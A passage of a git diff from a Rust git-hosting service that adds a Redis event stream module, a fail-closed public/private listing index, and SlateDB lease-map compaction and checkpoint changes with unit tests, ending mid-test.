fire-and-forget for exactly this reason — a failed XADD costs a +//! consumer one sweep interval, never a lost event. +//! +//! One `events` stream, not one per repo. The merge worker wants a single Redis consumer group +//! so every worker replica competes for entries off ONE stream (`XREADGROUP` on `events`, +//! standard work-queue fan-out). A stream per repo would mean the worker has to discover which +//! stream names currently exist before it can `XREADGROUP` on all of them — exactly the +//! per-repo-polling coupling this design exists to remove. All repos multiplex onto the one +//! stream; `repo` is just a field on each entry, not part of routing. + +use crate::cache::Cache; + +pub struct Event { + pub kind: Kind, + pub repo: String, + pub number: i64, + pub actor: String, + pub at_ms: i64, + /// PR title/branch names, carried so the feed (Task 4) can render the same `title`/`detail` + /// it would have built from Mongo, without a second round trip. Empty when the publisher + /// genuinely has none to give (e.g. `HeadMoved`, which is repo-wide, not PR-scoped) — never + /// omitted, so `fields`/`from_fields` stay a fixed shape. + pub title: String, + pub base: String, + pub head: String, +} + +#[derive(Debug, PartialEq, Eq, Clone, Copy)] +pub enum Kind { + PullOpened, + PullCommented, + MergeRequested, + PullMerged, + PullClosed, + HeadMoved, +} + +impl Kind { + pub fn as_str(&self) -> &'static str { + match self { + Kind::PullOpened => "pull_opened", + Kind::PullCommented => "pull_commented", + Kind::MergeRequested => "merge_requested", + Kind::PullMerged => "pull_merged", + Kind::PullClosed => "pull_closed", + Kind::HeadMoved => "head_moved", + } + } + + pub fn parse(s: &str) -> Option { + Some(match s { + "pull_opened" => Kind::PullOpened, + "pull_commented" => Kind::PullCommented, + "merge_requested" => Kind::MergeRequested, + "pull_merged" => Kind::PullMerged, + "pull_closed" => Kind::PullClosed, + "head_moved" => Kind::HeadMoved, + _ => return None, + }) + } +} + +const STREAM: &str = "events"; +const MAXLEN: usize = 5000; + +pub fn fields(e: &Event) -> Vec<(&'static str, String)> { + vec![ + ("kind", e.kind.as_str().to_string()), + ("repo", e.repo.clone()), + ("number", e.number.to_string()), + ("actor", e.actor.clone()), + ("at_ms", e.at_ms.to_string()), + ("title", e.title.clone()), + ("base", e.base.clone()), + ("head", e.head.clone()), + ] +} + +pub fn from_fields(f: &[(String, String)]) -> Option { + let get = |k: &str| f.iter().find(|(fk, _)| fk == k).map(|(_, v)| v.as_str()); + Some(Event { + kind: Kind::parse(get("kind")?)?, // an unknown/future kind must be skipped, never fatal + repo: get("repo")?.to_string(), + number: get("number")?.parse().ok()?, + actor: get("actor")?.to_string(), + at_ms: get("at_ms")?.parse().ok()?, + // Missing on an entry written before this field existed — default empty, never fail the + // whole parse over it (see the struct doc: these are enrichment, not identity). + title: get("title").unwrap_or("").to_string(), + base: get("base").unwrap_or("").to_string(), + head: get("head").unwrap_or("").to_string(), + }) +} + +/// Fire-and-forget: see the module doc. Never propagates an error, so a caller on a hot path +/// (opening a PR, posting a comment) cannot be slowed or failed by a Redis blip. +pub async fn publish(cache: &Cache, e: &Event) { + cache.xadd(STREAM, MAXLEN, &fields(e)).await; +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn fields_round_trip() { + let e = Event { + kind: Kind::PullOpened, + repo: "alice/web".into(), + number: 7, + actor: "alice@example.com".into(), + at_ms: 1755772800000, + title: "fix the thing".into(), + base: "main".into(), + head: "fix-it".into(), + }; + let f: Vec<(String, String)> = + fields(&e).into_iter().map(|(k, v)| (k.to_string(), v)).collect(); + assert_eq!(from_fields(&f).unwrap().number, 7); + assert_eq!(from_fields(&f).unwrap().kind.as_str(), "pull_opened"); + assert_eq!(from_fields(&f).unwrap().base, "main"); + assert_eq!(from_fields(&f).unwrap().head, "fix-it"); + } + + /// An entry written by a producer that predates `title`/`base`/`head` (Task 4's follow-up + /// fix) must still parse — a missing enrichment field is not a reason to drop the whole + /// event, only to render it plainer. + #[test] + fn an_old_shape_entry_without_branch_fields_still_parses() { + let f = vec![ + ("kind".to_string(), "pull_merged".to_string()), + ("repo".to_string(), "alice/web".to_string()), + ("number".to_string(), "7".to_string()), + ("actor".to_string(), "alice@example.com".to_string()), + ("at_ms".to_string(), "1755772800000".to_string()), + ]; + let e = from_fields(&f).expect("an old-shape entry must still yield a usable Event"); + assert_eq!(e.number, 7); + assert_eq!(e.title, ""); + assert_eq!(e.base, ""); + assert_eq!(e.head, ""); + } + + #[test] + fn unknown_kind_is_ignored_not_fatal() { + let f = vec![ + ("kind".to_string(), "from_the_future".to_string()), + ("repo".to_string(), "a/b".to_string()), + ]; + assert!(from_fields(&f).is_none()); // a consumer must skip it, never panic + } + + #[tokio::test(flavor = "multi_thread")] + async fn publish_is_a_no_op_on_a_disabled_cache() { + let c = Cache::connect(None).await; + let e = Event { + kind: Kind::HeadMoved, + repo: "a/b".into(), + number: 0, + actor: "x".into(), + at_ms: 0, + title: String::new(), + base: String::new(), + head: String::new(), + }; + publish(&c, &e).await; // must not panic + } +} diff --git a/crates/storage/src/index.rs b/crates/storage/src/index.rs new file mode 100644 index 00000000..ae495a3f --- /dev/null +++ b/crates/storage/src/index.rs @@ -0,0 +1,288 @@ +//! Path-encoded listing index: `index/{public|private}/{repo|img}/{owner}/{name}` markers that +//! let a listing answer "what does this owner have, and is it public" without opening every +//! repo/image database. Two rules, load-bearing: +//! +//! - Markers are views, never authorization. A marker says what to show in a list; it is never +//! consulted to decide whether a request may read or write the thing it describes. That check +//! always goes through the real owning database. +//! - Remove-permissive-first. Wherever a change could leave a stale permissive marker next to (or +//! instead of) the real state, the public/permissive marker is deleted before anything else +//! happens, so a crash mid-operation is caught by `both_markers_read_as_private` failing closed +//! rather than a dangling public marker leaking a name that should be private. + +use futures::future::join_all; +use slatedb::object_store::{path::Path, Error as OsError, ObjectStore, ObjectStoreExt, PutPayload}; +use std::sync::Arc; + +/// The two kinds of thing a marker can describe; `seg` is the path segment for each. +#[derive(Clone, Copy)] +pub enum Kind { + Repo, + Img, +} + +impl Kind { + pub fn seg(&self) -> &'static str { + match self { + Kind::Repo => "repo", + Kind::Img => "img", + } + } +} + +/// A listing entry. `manifests` and `updated_ms` are always 0 for code repos — only images use +/// them. +#[derive(Debug, Clone, PartialEq)] +pub struct Marker { + pub name: String, + pub public: bool, + pub created_by: String, + pub created_ms: i64, + pub description: String, + pub manifests: u64, + pub updated_ms: i64, +} + +/// Where a marker lives: `index/{public|private}/{repo|img}/{owner}/{name}`. +pub fn path(public: bool, kind: Kind, owner: &str, name: &str) -> Path { + let vis = if public { "public" } else { "private" }; + Path::from(format!("index/{vis}/{}/{owner}/{name}", kind.seg())) +} + +/// `k=v` lines, `description` last so it may itself contain `=`. +fn body(m: &Marker) -> Vec { + format!( + "v=1\npublic={}\ncreated_by={}\ncreated_ms={}\nmanifests={}\nupdated_ms={}\ndescription={}", + m.public, m.created_by, m.created_ms, m.manifests, m.updated_ms, m.description + ) + .into_bytes() +} + +/// Decodes a marker body. Unknown keys are ignored (forward compat); missing keys default +/// (`manifests`/`updated_ms` to 0). `name` and `public` come from the path, not the body, since +/// `public` in the body only records what was true when it was written. +fn decode(name: &str, public: bool, bytes: &[u8]) -> crate::Result { + let s = std::str::from_utf8(bytes).map_err(|e| crate::err(format!("index marker: {e}")))?; + let mut created_by = String::new(); + let mut created_ms = 0i64; + let mut manifests = 0u64; + let mut updated_ms = 0i64; + let mut description = String::new(); + for line in s.lines() { + let Some((k, v)) = line.split_once('=') else { continue }; + match k { + "created_by" => created_by = v.to_string(), + "created_ms" => created_ms = v.parse().unwrap_or(0), + "manifests" => manifests = v.parse().unwrap_or(0), + "updated_ms" => updated_ms = v.parse().unwrap_or(0), + "description" => description = v.to_string(), + _ => {} + } + } + Ok(Marker { name: name.to_string(), public, created_by, created_ms, description, manifests, updated_ms }) +} + +pub fn ignore_not_found(r: Result<(), OsError>) -> crate::Result<()> { + match r { + Ok(()) | Err(OsError::NotFound { .. }) => Ok(()), + Err(e) => Err(crate::err(format!("index: {e}"))), + } +} + +/// Fail-closed flip: the permissive (public) marker is always deleted before the new one is +/// written, in both directions, so the public marker is never present alongside a fresher private +/// write — the moment between delete and put is the only window, and it is strictly more private, +/// never less. +pub async fn write(os: &Arc, kind: Kind, owner: &str, m: &Marker) -> crate::Result<()> { + let public_path = path(true, kind, owner, &m.name); + let private_path = path(false, kind, owner, &m.name); + if m.public { + ignore_not_found(os.delete(&private_path).await)?; + os.put(&public_path, PutPayload::from(body(m))).await.map_err(|e| crate::err(format!("index: {e}")))?; + } else { + ignore_not_found(os.delete(&public_path).await)?; + os.put(&private_path, PutPayload::from(body(m))).await.map_err(|e| crate::err(format!("index: {e}")))?; + } + Ok(()) +} + +/// Rewrites a marker at the path its current visibility already lives at, without touching the +/// other side. For repair paths that only have object-store reads to go on (the GC sweep, +/// cross-process, no lock shared with a live visibility flip) — deleting the *other* marker from +/// here could race a concurrent flip and undo it. Worst case this leaves both markers for an +/// instant; `list`/`read` already treat that as private (fail closed), so it's safe to leave for +/// the owning node's own write to clean up. +pub async fn put_in_place(os: &Arc, kind: Kind, owner: &str, m: &Marker) -> crate::Result<()> { + os.put(&path(m.public, kind, owner, &m.name), PutPayload::from(body(m))) + .await + .map_err(|e| crate::err(format!("index: {e}")))?; + Ok(()) +} + +/// Deletes both paths, public first (permissive first — never leave the permissive one behind +/// while the private one is already gone). `NotFound` on either is tolerated. +pub async fn remove(os: &Arc, kind: Kind, owner: &str, name: &str) -> crate::Result<()> { + let public_path = path(true, kind, owner, name); + let private_path = path(false, kind, owner, name); + ignore_not_found(os.delete(&public_path).await)?; + ignore_not_found(os.delete(&private_path).await)?; + Ok(()) +} + +/// Reads a marker by name, trying the public path then the private one — callers that need to +/// preserve fields (`manifests`/`created_*`/`description`) across a visibility flip don't know +/// which prefix the marker currently lives under. `None` if neither exists (marker never written, +/// or a prior write failed — the DB write it followed is still the source of truth). +pub async fn read(os: &Arc, kind: Kind, owner: &str, name: &str) -> Option { + // Both paths at once: a private repo used to pay the public-path miss as a full round trip + // before even asking for the path it lives on. Public still wins a (never-legal) tie, and a + // found-but-unparseable public marker still answers None without trying private, matching + // the old sequential loop byte-for-byte. + let (pu, pr) = tokio::join!( + fetch_one(os, path(true, kind, owner, name), true), + fetch_one(os, path(false, kind, owner, name), false), + ); + match pu { + Some(r) => r.ok(), + None => pr?.ok(), + } +} + +async fn fetch_one(os: &Arc, p: Path, public: bool) -> Option> { + let name = p.filename()?.to_string(); + match os.get(&p).await { + Ok(res) => { + let bytes = match res.bytes().await { + Ok(b) => b, + Err(e) => return Some(Err(crate::err(format!("index: {e}")))), + }; + Some(decode(&name, public, &bytes)) + } + Err(OsError::NotFound { .. }) => None, + Err(e) => Some(Err(crate::err(format!("index: {e}")))), + } +} + +/// Lists an owner's markers of one kind. Always includes public entries; includes private ones +/// only when `include_private` is true — an anonymous listing must never pass `true`, since that +/// is the only thing keeping a private name out of the result. A name present under both +/// prefixes (a crashed flip) is returned once, as private, matching `write`'s fail-closed +/// contract. Sorted by name. +pub async fn list(os: &Arc, kind: Kind, owner: &str, include_private: bool) -> crate::Result> { + use futures::StreamExt; + + let public_prefix = Path::from(format!("index/public/{}/{owner}/", kind.seg())); + let public_names: Vec = os + .list(Some(&public_prefix)) + .map(|r| r.map(|m| m.location)) + .collect::>() + .await + .into_iter() + .collect::, _>>() + .map_err(|e| crate::err(format!("index: {e}")))?; + + // Listed even when private entries are not being returned: the private prefix is what makes + // a crashed flip (both markers present) read as private, and that fail-closed rule has to + // hold hardest for exactly the caller who may not see private names. + let private_prefix = Path::from(format!("index/private/{}/{owner}/", kind.seg())); + let mut private_names: Vec = os + .list(Some(&private_prefix)) + .map(|r| r.map(|m| m.location)) + .collect::>() + .await + .into_iter() + .collect::, _>>() + .map_err(|e| crate::err(format!("index: {e}")))?; + + // A private marker wins over a same-named public one (fail-closed on a crashed flip), so + // drop any public entry whose name also has a private one before fetching bodies. + let private_stems: std::collections::HashSet = + private_names.iter().filter_map(|p| p.filename().map(|s| s.to_string())).collect(); + let public_names: Vec = + public_names.into_iter().filter(|p| p.filename().is_none_or(|n| !private_stems.contains(n))).collect(); + if !include_private { + private_names.clear(); + } + + let mut futs = Vec::new(); + for p in public_names { + futs.push(fetch_one(os, p, true)); + } + for p in private_names { + futs.push(fetch_one(os, p, false)); + } + let results = join_all(futs).await; + let mut markers = Vec::with_capacity(results.len()); + for r in results.into_iter().flatten() { + markers.push(r?); + } + markers.sort_by(|a, b| a.name.cmp(&b.name)); + Ok(markers) +} + +#[cfg(test)] +mod tests { + use super::*; + use slatedb::object_store::memory::InMemory; + + fn mem_store() -> Arc { + Arc::new(InMemory::new()) + } + + fn marker(name: &str, public: bool) -> Marker { + Marker { + name: name.to_string(), + public, + created_by: "alice@example.com".to_string(), + created_ms: 1755772800000, + description: "my thing".to_string(), + manifests: 0, + updated_ms: 0, + } + } + + #[tokio::test] + async fn flip_never_leaves_a_public_marker_beside_private() { + let os = mem_store(); + let m = marker("web", true); + write(&os, Kind::Repo, "alice", &m).await.unwrap(); + write(&os, Kind::Repo, "alice", &marker("web", false)).await.unwrap(); + // public path must be gone, private present + assert!(os.get(&path(true, Kind::Repo, "alice", "web")).await.is_err()); + assert!(os.get(&path(false, Kind::Repo, "alice", "web")).await.is_ok()); + } + + #[tokio::test] + async fn both_markers_read_as_private() { + let os = mem_store(); + // simulate a crashed flip: both present + os.put(&path(true, Kind::Repo, "a", "x"), body(&marker("x", true)).into()).await.unwrap(); + os.put(&path(false, Kind::Repo, "a", "x"), body(&marker("x", false)).into()).await.unwrap(); + let l = list(&os, Kind::Repo, "a", true).await.unwrap(); + assert_eq!(l.len(), 1); + assert!(!l[0].public); + } + + #[tokio::test] + async fn anonymous_listing_never_contains_private_names() { + let os = mem_store(); + write(&os, Kind::Img, "a", &marker("secret", false)).await.unwrap(); + write(&os, Kind::Img, "a", &marker("open", true)).await.unwrap(); + let l = list(&os, Kind::Img, "a", false).await.unwrap(); + assert_eq!(l.iter().map(|m| m.name.as_str()).collect::>(), vec!["open"]); + } + + #[tokio::test] + async fn body_roundtrips_including_equals_in_description() { + let m = Marker { + name: "x".into(), + public: true, + created_by: "b".into(), + created_ms: 5, + description: "a=b=c".into(), + manifests: 2, + updated_ms: 9, + }; + assert_eq!(decode("x", true, &body(&m)).unwrap().description, "a=b=c"); + } +} diff --git a/crates/storage/src/lib.rs b/crates/storage/src/lib.rs new file mode 100644 index 00000000..60946d08 --- /dev/null +++ b/crates/storage/src/lib.rs @@ -0,0 +1,11 @@ +#![allow(clippy::result_large_err)] +pub(crate) use rustic_git_core::{err, hex, Error, Result}; +pub mod auth; +pub mod cache; +pub mod config; +pub mod events; +pub mod index; +pub mod ownership; +pub mod pool; +pub mod refmeta; +pub mod store; diff --git a/src/ownership.rs b/crates/storage/src/ownership/mod.rs similarity index 69% rename from src/ownership.rs rename to crates/storage/src/ownership/mod.rs index b0adac2a..b6d19114 100644 --- a/src/ownership.rs +++ b/crates/storage/src/ownership/mod.rs @@ -29,7 +29,10 @@ pub const DRAIN: Duration = Duration::from_millis(500); pub fn now_ms() -> u64 { std::time::SystemTime::now() .duration_since(std::time::UNIX_EPOCH) - .expect("system clock before 1970") + // A clock behind the epoch is a container that started before NTP, and this sits on the + // claim/renew REQUEST path — so it degrades to zero rather than panicking a handler. Zero + // makes every lease look expired, which routes to the claim path: the safe direction. + .unwrap_or_default() .as_millis() as u64 } @@ -84,8 +87,16 @@ pub fn leader_of(self_name: &str) -> crate::Result { /// /// With fewer than two replicas there is no one else, so the leader serves — that keeps /// single-node and two-node deployments working rather than refusing every request. -pub fn servers(leader: &str, replicas: u32) -> Vec { +/// +/// Two deployment shapes, one rule: a node may hold repositories exactly when it is not the +/// leader. Sharing a StatefulSet with the leader, that means every ordinal except zero. With the +/// leader in its OWN StatefulSet — `server_prefix` differs — every ordinal qualifies, because +/// none of them is the leader; skipping zero there would silently waste a whole pod. +pub fn servers(leader: &str, server_prefix: &str, replicas: u32) -> Vec { let prefix = leader.rsplit_once('-').map(|(p, _)| p).unwrap_or(leader); + if prefix != server_prefix { + return (0..replicas.max(1)).map(|i| format!("{server_prefix}-{i}")).collect(); + } if replicas < 2 { return vec![leader.to_string()]; } @@ -155,12 +166,14 @@ fn key(repo: &str) -> String { } /// Where the ownership map lives, alongside every repo database in the same object store. -const PATH: &str = "cluster/ownership"; +pub const PATH: &str = "cluster/ownership"; /// The ownership map: one SlateDB database, opened for writing by the leader and for reading /// (via a `FollowLatest` reader) by everyone else. pub enum OwnershipStore { - Writer(std::sync::Arc), + Writer { + db: std::sync::Arc, + }, /// Follower. The reader is acquired lazily: only the leader's `Db::builder` creates the /// database, and a StatefulSet rolls in reverse ordinal order, so on a fresh cluster every /// follower starts before the map exists. Until the reader opens, the map reads as empty — @@ -173,25 +186,114 @@ pub enum OwnershipStore { Solo, } +/// The leader's SlateDB settings, with the two GC knobs as parameters so a test can drive the real +/// collection loop rather than assert the constants back to itself — the failure this guards +/// against was a GC that was configured, running, and structurally unable to collect anything. +fn leader_settings( + gc_interval: std::time::Duration, + min_age: std::time::Duration, +) -> slatedb::config::Settings { + slatedb::config::Settings { + flush_interval: Some(std::time::Duration::from_millis(10)), + // Compaction ON, and it is what makes every other setting here work. `l0_max_ssts` is 8; + // with no compactor nothing ever drains L0, so once eight L0 SSTs exist every memtable + // flush blocks forever waiting for room that cannot appear. That is what actually froze + // `replay_after_wal_id`: not a threshold set too high, a flush that could never complete. + // WAL GC then had no candidates by construction and the log grew without bound. + // + // It was off to protect followers: a `FollowLatest` reader on an older manifest breaks + // if objects it references are DELETED. Compaction itself never deletes — it writes merged + // SSTs and leaves the inputs to garbage collection — and that collection is safe by + // construction: before every manifest write the compactor takes a checkpoint with a + // 15-minute lifetime that pins the inputs, the collector treats everything a live + // checkpoint references as active, and only prunes expired checkpoints. A follower's + // manifest is at most 200ms stale, so the inputs outlive any read of them by three orders + // of magnitude. `the_leader_actually_reclaims_its_compacted_objects` holds both halves. + compactor_options: Some(slatedb::config::Settings::default().compactor_options).flatten(), + garbage_collector_options: Some(slatedb::config::GarbageCollectorOptions { + wal_options: Some(slatedb::config::GarbageCollectorDirectoryOptions { + interval: Some(gc_interval), + min_age, + dry_run: false, + }), + // Deliberately the defaults for everything else — manifest, compacted and compactions + // directories all collected, 60s interval, 300s min_age. Not "unset": a `None` here + // would disable a directory's collection, and those directories grow with every + // compaction. Read the `Default` impl before touching this. + ..Default::default() + }), + // Its own disk-cache subdir, not the repo pool's: this map is read on every route decision + // and must not compete for eviction with 64 repo databases. + object_store_cache_options: crate::pool::disk_cache_options("slatedb-ownership"), + ..Default::default() + } +} + impl OwnershipStore { - /// Leader: opens for writing with background compaction off. A follower's `FollowLatest` - /// reader has no protection from garbage collection — SlateDB's own docs warn that reads - /// using an older manifest can fail once the objects they reference are deleted. The map is a - /// few dozen tiny keys, so compaction buys nothing here and risks breaking every follower's - /// read; leave it off. + /// Leader: opens for writing with compaction ON and every collector at its default — see + /// `leader_settings` for why that is safe for a `FollowLatest` follower. With those, the + /// map's object count is bounded: steady state is the live SSTs plus at most fifteen minutes + /// of compaction orphans (the compactor's checkpoint lifetime) and one collector interval. /// /// Follower: opens read-only, polling the manifest so its view of the map catches up on its /// own schedule rather than the request path. + /// + /// WAL garbage collection IS enabled on the leader, and has to be. Every node renews its + /// leases through the leader every `RENEW_EVERY`, so the map takes a write every few seconds + /// forever; with nothing reclaiming them the WAL grew to 18,521 objects over four days, and + /// the leader — which replays them all on open — could no longer finish starting inside the + /// liveness probe's window. It crash-looped, and only the leader did, because followers open + /// read-only. The data is a few dozen tiny keys; it was never size that broke it, only count. + /// + /// Enabling GC was NOT enough on its own, and `checkpoint` is the missing half. WAL GC only + /// considers entries BEFORE `replay_after_wal_id`, and that pointer advances only when the + /// MEMTABLE is flushed to L0. Both automatic triggers are unreachable for this map: the size + /// trigger is `max_unflushed_bytes`, 1 GiB against a few dozen tiny keys, and the count + /// trigger cannot be set below 4096 (SlateDB refuses to open at all — a test caught that + /// before it shipped), which is about an hour at one lease write per second and so never + /// reached by a leader that restarts more often than that. The pointer stayed at zero, GC ran + /// every 300s with zero candidates, and the WAL grew to 23,083 objects in seven hours — + /// startup replay took 146s against the followers' 14s, back on the road to the crash-loop + /// this was supposed to have fixed. So the leader flushes the memtable on a timer instead, + /// which moves the pointer regardless of how little was written. `min_age` is cut to match: + /// it only has to outlast a follower's manifest poll (200ms), and an hour of retention was + /// buying nothing but objects. + /// Flush the memtable so `replay_after_wal_id` advances and the WAL behind it becomes + /// collectable. Unconditional: with nothing written since the last one this is a 19ms no-op, + /// and a skip-if-clean flag was once added here on the belief that an empty flush hangs — it + /// does not; the hang was L0 being full with no compactor, which is fixed in `leader_settings`. + /// A follower has no memtable to flush, so it does nothing. + pub async fn checkpoint(&self) -> crate::Result<()> { + if let OwnershipStore::Writer { db } = self { + let t = std::time::Instant::now(); + db.flush_with_options(slatedb::config::FlushOptions { + flush_type: slatedb::config::FlushType::MemTable, + }) + .await?; + // Logged on SUCCESS, not only on failure. A checkpoint that never runs and one that + // runs as a no-op are indistinguishable from the object store, and telling them apart + // is the whole question — one line every five minutes is a cheap answer. + tracing::info!(ms = t.elapsed().as_millis() as u64, "ownership: checkpoint ok"); + } + Ok(()) + } + pub async fn open(os: std::sync::Arc, is_leader: bool) -> crate::Result { if is_leader { - let settings = slatedb::config::Settings { - flush_interval: Some(std::time::Duration::from_millis(10)), - compactor_options: None, - garbage_collector_options: None, - ..Default::default() - }; - let db = slatedb::Db::builder(PATH, os).with_settings(settings).build().await?; - Ok(OwnershipStore::Writer(std::sync::Arc::new(db))) + let db = slatedb::Db::builder(PATH, os) + .with_settings(leader_settings( + std::time::Duration::from_secs(300), + std::time::Duration::from_secs(300), + )) + .build() + .await?; + // Said out loud because a leader that quietly came up as anything else is the + // difference between a WAL that gets reclaimed and one that grows forever, and the + // only way to tell from outside was to read the manifest's writer epoch. + tracing::info!(path = %PATH, "ownership: opened as WRITER (leader)"); + Ok(OwnershipStore::Writer { + db: std::sync::Arc::new(db), + }) } else { let slot = std::sync::Arc::new(tokio::sync::RwLock::new(None)); let cell = slot.clone(); @@ -212,7 +314,7 @@ impl OwnershipStore { Ok(r) => { *cell.write().await = Some(std::sync::Arc::new(r)); if logged { - eprintln!("ownership map opened"); // ponytail: eprintln + tracing::info!("ownership map opened"); } return; } @@ -220,7 +322,7 @@ impl OwnershipStore { // First failure only: the leader may not have created the map yet, and // one line a second forever is noise, not signal. if !logged { - eprintln!("ownership map not readable yet ({e}); retrying"); // ponytail: eprintln + tracing::warn!(error = %e, "ownership map not readable yet; retrying"); logged = true; } tokio::time::sleep(std::time::Duration::from_secs(1)).await; @@ -234,7 +336,7 @@ impl OwnershipStore { pub async fn get(&self, repo: &str) -> crate::Result> { let bytes = match self { - OwnershipStore::Writer(db) => db.get(key(repo)).await?, + OwnershipStore::Writer { db, .. } => db.get(key(repo)).await?, OwnershipStore::Reader(slot) => match slot.read().await.clone() { Some(r) => r.get(key(repo)).await?, // No reader yet: same answer as `Solo`, and safe for the same reason. @@ -249,7 +351,7 @@ impl OwnershipStore { /// silently opening a writer or dropping the write. pub async fn put(&self, repo: &str, e: &Entry) -> crate::Result<()> { match self { - OwnershipStore::Writer(db) => { + OwnershipStore::Writer { db, .. } => { db.put(key(repo), e.encode()).await?; Ok(()) } @@ -262,7 +364,7 @@ impl OwnershipStore { /// task. A live entry is shortened by `decide_release`, never deleted; see its comment. pub async fn delete(&self, repo: &str) -> crate::Result<()> { match self { - OwnershipStore::Writer(db) => { + OwnershipStore::Writer { db, .. } => { db.delete(key(repo)).await?; Ok(()) } @@ -274,18 +376,17 @@ impl OwnershipStore { /// Flush and close the map's database. Shutdown only: the leader writes with a 10ms flush /// interval, so its last few decisions are still in memory when the process ends. pub async fn close(&self) -> crate::Result<()> { - if let OwnershipStore::Writer(db) = self { + if let OwnershipStore::Writer { db, .. } = self { db.close().await?; } Ok(()) } - /// Every entry currently in the map, for pruning and for `/healthz` diagnostics. /// Announce, or withdraw, that a node is on its way out. Leader-only, like every other write. pub async fn set_draining(&self, node: &str, draining: bool) -> crate::Result<()> { let key = format!("{DRAIN_PREFIX}{node}"); match self { - OwnershipStore::Writer(db) => { + OwnershipStore::Writer { db, .. } => { if draining { db.put(key, b"1".as_slice()).await?; } else { @@ -301,7 +402,7 @@ impl OwnershipStore { /// The nodes that have said they are shutting down. pub async fn draining(&self) -> crate::Result> { let mut iter = match self { - OwnershipStore::Writer(db) => db.scan_prefix(DRAIN_PREFIX, ..).await?, + OwnershipStore::Writer { db, .. } => db.scan_prefix(DRAIN_PREFIX, ..).await?, OwnershipStore::Reader(slot) => match slot.read().await.clone() { Some(r) => r.scan_prefix(DRAIN_PREFIX, ..).await?, None => return Ok(Vec::new()), @@ -319,10 +420,11 @@ impl OwnershipStore { Ok(out) } + /// Every entry currently in the map, for pruning and for `/healthz` diagnostics. pub async fn all(&self) -> crate::Result> { let prefix = "own/"; let mut iter = match self { - OwnershipStore::Writer(db) => db.scan_prefix(prefix, ..).await?, + OwnershipStore::Writer { db, .. } => db.scan_prefix(prefix, ..).await?, OwnershipStore::Reader(slot) => match slot.read().await.clone() { Some(r) => r.scan_prefix(prefix, ..).await?, None => return Ok(Vec::new()), diff --git a/crates/storage/src/ownership/tests.rs b/crates/storage/src/ownership/tests.rs new file mode 100644 index 00000000..3afc0dfb --- /dev/null +++ b/crates/storage/src/ownership/tests.rs @@ -0,0 +1,459 @@ +use super::*; + +fn entry(node: &str, expires_ms: u64) -> Entry { + Entry { node: node.to_string(), expires_ms } +} + +#[test] +fn leader_of_picks_ordinal_zero() { + assert_eq!(leader_of("rustic-git-0").unwrap(), "rustic-git-0"); + assert_eq!(leader_of("rustic-git-2").unwrap(), "rustic-git-0"); + assert_eq!(leader_of("a-b-12").unwrap(), "a-b-0"); +} + +#[test] +fn leader_of_rejects_names_without_an_ordinal() { + assert!(leader_of("nodash").is_err()); + assert!(leader_of("x-notanumber").is_err()); +} + +#[test] +fn claim_on_absent_entry_grants() { + match decide_claim(None, "rustic-git-1", 1_000) { + Grant::Granted(e) => { + assert_eq!(e.node, "rustic-git-1"); + assert_eq!(e.expires_ms, 1_000 + LEASE_TTL.as_millis() as u64); + } + Grant::HeldBy(_) => panic!("absent entry must grant"), + } +} + +#[test] +fn claim_on_live_entry_held_by_someone_else_returns_held_by() { + let cur = entry("rustic-git-1", 5_000); + match decide_claim(Some(&cur), "rustic-git-2", 1_000) { + Grant::HeldBy(e) => assert_eq!(e, cur), + Grant::Granted(_) => panic!("live entry held by another node must not grant"), + } +} + +#[test] +fn claim_on_expired_entry_grants() { + let cur = entry("rustic-git-1", 1_000); + match decide_claim(Some(&cur), "rustic-git-2", 2_000) { + Grant::Granted(e) => assert_eq!(e.node, "rustic-git-2"), + Grant::HeldBy(_) => panic!("expired entry must grant"), + } +} + +#[test] +fn reclaim_by_current_holder_grants_and_extends() { + let cur = entry("rustic-git-1", 5_000); + match decide_claim(Some(&cur), "rustic-git-1", 4_000) { + Grant::Granted(e) => { + assert_eq!(e.node, "rustic-git-1"); + assert_eq!(e.expires_ms, 4_000 + LEASE_TTL.as_millis() as u64); + } + Grant::HeldBy(_) => panic!("re-claim by the current holder must be idempotent"), + } +} + +#[test] +fn renew_by_holder_extends() { + let cur = entry("rustic-git-1", 5_000); + let renewed = decide_renew(Some(&cur), "rustic-git-1", 4_000).unwrap(); + assert_eq!(renewed.node, "rustic-git-1"); + assert_eq!(renewed.expires_ms, 4_000 + LEASE_TTL.as_millis() as u64); +} + +#[test] +fn renew_by_non_holder_returns_none() { + let cur = entry("rustic-git-1", 5_000); + assert!(decide_renew(Some(&cur), "rustic-git-2", 4_000).is_none()); +} + +/// A lapsed clock must not take a repo from the node still holding it. The leader is the only node +/// that can renew, so its own downtime is precisely when leases lapse innocently — declining here +/// closes a database that is serving fine. +#[test] +fn renew_of_a_lapsed_entry_by_the_holder_extends_it() { + let cur = entry("rustic-git-1", 1_000); + let renewed = decide_renew(Some(&cur), "rustic-git-1", 2_000).unwrap(); + assert_eq!(renewed.node, "rustic-git-1"); + assert_eq!(renewed.expires_ms, 2_000 + LEASE_TTL.as_millis() as u64); +} + +/// The prune loop may have reaped the entry while the leader was away; the holder still holds the +/// database, so the lease follows the handle back. +#[test] +fn renew_of_a_pruned_entry_regrants_it_to_the_holder() { + let renewed = decide_renew(None, "rustic-git-1", 2_000).unwrap(); + assert_eq!(renewed.node, "rustic-git-1"); +} + +/// Safety is unchanged: once the map names somebody else, the asker has genuinely lost it and must +/// close — expired or not. +#[test] +fn renew_is_declined_once_the_map_names_another_node() { + let cur = entry("rustic-git-2", 1_000); + assert!(decide_renew(Some(&cur), "rustic-git-1", 2_000).is_none()); + let live = entry("rustic-git-2", 9_000); + assert!(decide_renew(Some(&live), "rustic-git-1", 2_000).is_none()); +} + +/// Release is a plain delete, and it runs only after the database is closed — so the guard that +/// matters is not timing but identity: a node may only drop an entry that still names it. A stale +/// release from a node that already lost the repo must not delete the new owner's entry. +#[test] +fn only_the_holder_may_release() { + let cur = entry("rustic-git-1", 50_000); + assert!(may_release(Some(&cur), "rustic-git-1")); + assert!(!may_release(Some(&cur), "rustic-git-2"), "a stale release must not delete the owner"); + assert!(!may_release(None, "rustic-git-1")); +} + +/// Once released, the repo is claimable at once by anyone — there is no tombstone and no drain +/// left to wait out, because the releasing node closed its database before releasing. +#[test] +fn a_released_repo_is_claimable_immediately() { + match decide_claim(None, "rustic-git-2", 1_000) { + Grant::Granted(e) => assert_eq!(e.node, "rustic-git-2"), + g => panic!("a released repo must be claimable at once: {g:?}"), + } +} + +#[test] +fn servers_exclude_the_leader() { + assert_eq!(servers("rustic-git-0", "rustic-git", 3), vec!["rustic-git-1", "rustic-git-2"]); + // Below two replicas there is no one else, so the leader serves rather than nothing serving. + 